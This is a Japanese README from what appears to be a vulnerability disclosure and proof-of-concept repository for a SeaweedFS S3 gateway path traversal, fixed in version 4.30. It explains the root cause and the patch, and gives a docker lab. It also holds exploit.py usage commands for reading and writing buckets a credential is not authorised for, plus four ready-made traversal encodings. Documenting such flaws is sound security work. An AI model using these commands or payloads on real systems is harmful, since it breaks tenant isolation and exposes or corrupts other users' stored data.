
CVE-2026-54917 の PoC + 解析 — SeaweedFS S3 ゲートウェイのクロスバケットパストラバーサル (CVSS 10.0, <4.30)。オブジェクトキー内の .. を使用して任意のバケットを読み書き可能。
CVE-2026-54917 の概念実証および技術解説です。これは SeaweedFS の S3 API ゲートウェイにおけるパストラバーサルであり、呼び出し元がその認証情報で許可されているかどうかに関係なく、任意のバケット内のオブジェクトに到達できるようにするものです。
| CVE | CVE-2026-54917 |
| Advisory | GHSA-w62w-66v9-vvgv |
| Product | SeaweedFS — S3 API ゲートウェイ (weed s3 および weed server の S3 エンドポイント) |
| Affected | < 4.30 |
| Patched | 4.30 |
| Weakness | CWE-22 — 制限付きディレクトリのパス名に対する不適切な制限 |
| Severity | 10.0 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Status | 4.29 で脆弱性を確認 · 4.30 で修正済み(エンドツーエンドで検証済み) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
S3 API ルーターは mux.NewRouter().SkipClean(true) で構築されています。パスクリーニングが無効になっているため、リクエストパス内の .. セグメントはルーティング後も残ります。次のようなリクエスト:
GET /bucket-a/../evil-bucket/secret.txt
は mux ルートによって {bucket} = "bucket-a"、{object} = "../evil-bucket/secret.txt" としてマッチします。
ここで2つの処理が食い違います。
{bucket} 変数 — bucket-a — に対して行われ、これは呼び出し元が使用を許可されているバケットです。bucketDir(bucket) + "/" + object) に結合し、フィラーがサーバー側で .. を解決するため、読み取り/書き込みは実際には evil-bucket に対して行われます。結果は古典的な confused deputy 問題です。IAM はあるバケットを検査し、ファイルシステムは別のバケットに対して操作を行います。単一のバケットへの認可を持つプリンシパルは、インスタンス上の他のすべてのバケットのオブジェクトを読み書きできます。
enableAuth = false — 認証なしでの直接的なクロスバケット読み取り/書き込み。enableAuth = true — 認可における confused deputy: 認証された任意のプリンシパル(任意のテナント)が、許可されていないバケット境界を越えて読み取り/書き込みを行います。これがここで実証されているケースであり、10.0 / スコープ変更されたスコアの理由です。1つのテナントの認証情報が、他のすべてのテナントの分離を破壊します。exploit.py は Python 標準ライブラリのみを使用します。各リクエストを SigV4 で自ら署名し、リクエスト行をバイト単位でそのまま書き込むため、トラバーサルパスは変更されずにサーバーに到達します。これにより、通常の S3 SDK が書き換えてしまう URL エンコード型の亜種が可能になります。
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
4つのトラバーサルエンコーディングが実装されており、すべて 4.29 で確認済みです。
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
ラボは IAM (lab/s3.json) を有効にし、admin(フルアクセス)と tenant-a(bucket-a のみに制限)の2つのアイデンティティを用意しています。すべての悪用は tenant-a の認証情報のみを使用します。完全なトランスクリプトは EVIDENCE.txt を参照してください。
ANALYSIS.md を参照してください。要約すると、SkipClean(true) がルーティングされたパスに .. を残します。GetBucketAndObject は生の mux 変数を取得します。IAM は {bucket} に対して認可します。toFilerPath は {object}(まだ .. を含む)をフィラーパスに結合し、そこで .. が解決されてバケット境界を越えます。
4.30 (patch-4.30.diff) で修正されました。validateRequestPath ミドルウェアがバケットハンドラーの前に実行され、空であるかトラバーサルセグメントを含む捕捉された {bucket} / {object} 変数を拒否し、400 InvalidRequest を返します。4.30 以降にアップグレードしてください。
/../、/%2e%2e、..%2f、..%5c のいずれかを含む S3 リクエスト。Caio Fabrício — github.com/BiiTts
| variant | on the wire | effect |
|---|
dotdot | /bucket-a/../evil-bucket/key | 標準の aws-cli でも動作 |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | 生のリクエストが必要(SDK は再エンコードする) |
enc-slash | /bucket-a/..%2fevil-bucket/key | 生のリクエストが必要 |
enc-backslash | /bucket-a/..%5cevil-bucket/key | サーバー側で \ が / に変換される |